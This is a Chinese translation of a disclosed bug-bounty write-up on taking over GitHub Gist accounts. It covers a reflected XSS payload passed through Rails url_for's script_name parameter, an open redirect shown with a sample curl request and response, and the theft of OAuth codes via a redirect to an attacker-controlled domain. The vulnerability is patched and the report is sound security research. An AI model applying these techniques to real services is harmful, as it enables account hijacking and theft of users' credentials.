通过开放重定向接管 GitHub Gist 账户,获奖$1万(GitHub $6.1万奖金系列之三)
编译:奇安信代码卫士团队
其中一种方法是 url_for,它通常用于生成指向其它控制器的链接。尽管无法找到可绕过的地方,但我发现在有些地方可以通过一个用户一个可控哈希的方法调用 url_for。调用完成后,哈希中的任意额外参数都会被作为查询字符串附加到该 url,但查看实现和文档后发现,有很多选项是可控的:
:only_patch —— 如为 ture,则返回相对 URL,默认为false。
:protocol —— 要连接的协议,默认为 “http”。
:host —— 指定主机应当针对的连接。如果 :only_path 为 false,则该选项必须明确提供或者通过 default_url_options 提供。
:subdomain —— 指定该链接的子域名,使用 tld_length 从主机分离子域名。如为 false,则从该链接的host 部分删除所有的子域名。
:domain —— 指定该链接的域名,使用 tld_length 从主机分离域名。
:tld_length —— 组成 TLD id 的标签数目,只有在提供 :subdomain 或 :domain 时才使用,默认为ActionDispacth::Http::URL.tld_length,值默认为1。
:port —— 可选,指定连接的端口。
:anchor —— 附加到路径的 anchor 名称。
:params —— 附加到路径的查询参数。
:trailing_slash —— 如为 true,则添加一个反斜杠,如 “/achive/2009/“ 中所示。
:script_name —— 指定相对于域 root 的应用程序路径。如已提供,预置应用程序路径。
此前,我曾在其它应用中看到更为常见的选项如 :protocol、被黑名单或删除的 :host、或被设置为 true 的 :only_path,以阻止它们被使用,但从未见到过 :script_name 参数。它最后被 path_for 方法所使用,而且如果它出现,则总会用于路径开头:
def path_for(options)
path = options[:script_name].to_s.chomp("/")
path << options[:path] if options.key?(:path)
add_trailing_slash(path) if options[:trailing_slash]
add_params(path, options[:params]) if options.key?(:params)
add_anchor(path, options[:anchor]) if options.key?(:anchor)
path
end
GitHub 中有一些地方通过类似于下面代码的代码创建链接:
<a class="link" href="<%= url_for(request.query_parameters.merge(only_path: true)) %>">
Click me
</a>
这就意味着,如果使用了查询字符串如 ?script_name=javascript:alert(1)// ,那么它最终会生成如下 html:
<a class="link" href="javascript:alert(1)//user/repo/...">
Click me
</a>
这样,我们就得到了一个严重性很低的反射型 XSS漏洞,要求一次点击才能被利用。虽然它遭 CSP 拦截,但仍然是一个很有意思的 bug。
之后我碰到另外一个使用具有可控参数的 url_for 的地方,这次是重定向的一部分。该代码位于应用程序控制器中,执行如下代码(方法/参数名称已更改):
before_action :check_source
def check_source
source = params["source"]
return redirect_to(check_source_redirect_url) if source == "message"
end
def check_source_redirect_url
query = Addressable::URI.parse(request.env["REQUEST_URI"]).query_values || {}
filtered_params = query.except("source", "token").merge(only_path: true)
url_for(filtered_params)
end
以上使用了 only_patch:true。在正常情况下,它仅允许现有 host 的 url 且保留查询参数,但用于 script_name 会产生一些有意思的结果。Script_name 并不要求以斜杠开头,而当与 redirect_to 使用时,它被直接附加到 host 上:
curl -i 'http://local.dev?source=message&script_name=ggg'
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Location: http://local.devggg/welcome/index
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: 7c8eedfa-f552-4d5a-bbcd-295f4e7fd9c0
X-Runtime: 0.002744
Transfer-Encoding: chunked
<html><body>You are being <a href="http://local.devggg/welcome/index">redirected</a>.</body></html>
由于该域名的末尾是可控的,如果 .attacker.domain 被用作 script_name,则会被重定向到自己的域。由于我还在查找 CSRF 绕过,因此将该 bug 只以开放重定向的名义提交并继续进行研究。
第二天,当我和 corb3nik 谈到开放重定向带来的影响时,他提到 OAuth 令牌通常是不错的目标。再次查看该 bug 后,我发现它实际上非常强大。由于在应用控制器中很早就会点击到它,因此它将影响很多任意路由。
GitHub 内置一些 OAuth 应用,其中一个是为 Gist 准备的。GitHub Gist 像 GitHub 一样也是 Rails app,只是主机名不同,被暴露了不同的路由。登录到 Gist 后,你会发现正常的 OAuth 流,它是整个重定向堆,如:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https://gist.github.com/auth/github/callback
https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY
https://gist.github.com/auth/github
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback&response_type=code&state=ZZZ
https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY&state=ZZZ
https://gist.github.com/
为成功登录到 Gist,攻击者只需 browser_session_id 和 code 即可,因为 client_id 是公开的,而攻击者可以生成参数 state,因为它已存在,目的是阻止 CSRF。
最初的重定向指向具有 code 和 browser_seesion_id 的 redirect_url,因此我尝试添加 script_name=.wbowling.info,竟然奏效!我被重定向到附加所需参数的自己的域名。
在一个新的隐私页面中,我访问 https://gist.github.com/auth/github/callback抓取一个有效的 state 参数,然后这次再次使用合法的 browser_session_id、code 和 state 参数进行登录且成功。
由于 GitHub 和 Gist 使用不同的会话令牌,因此并不允许访问 github.com 但被授予 Gist 的完整访问权限。
2020年7月26日(美国东部时间,下同)00:33:38 – 报告开放重定向漏洞
2020年7月26日12:57:38 —— 更新 Gist 账户接管问题
2020年7月26日23:33:30 —— 报告分类
2020年7月29日(不记得确切时间了)—— 由于该 bug 仅影响 github.com 而不影响 GHE,因此发布热修复方案。
2020年10月15日05:45:45 —— 获得1万美元的奖金
Kramdown 配置不当引发 GitHub Pages 多个 RCE,得 $2.5万($6.1万系列之二)
https://devcraft.io/2020/10/19/github-gist-account-takeover.html
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。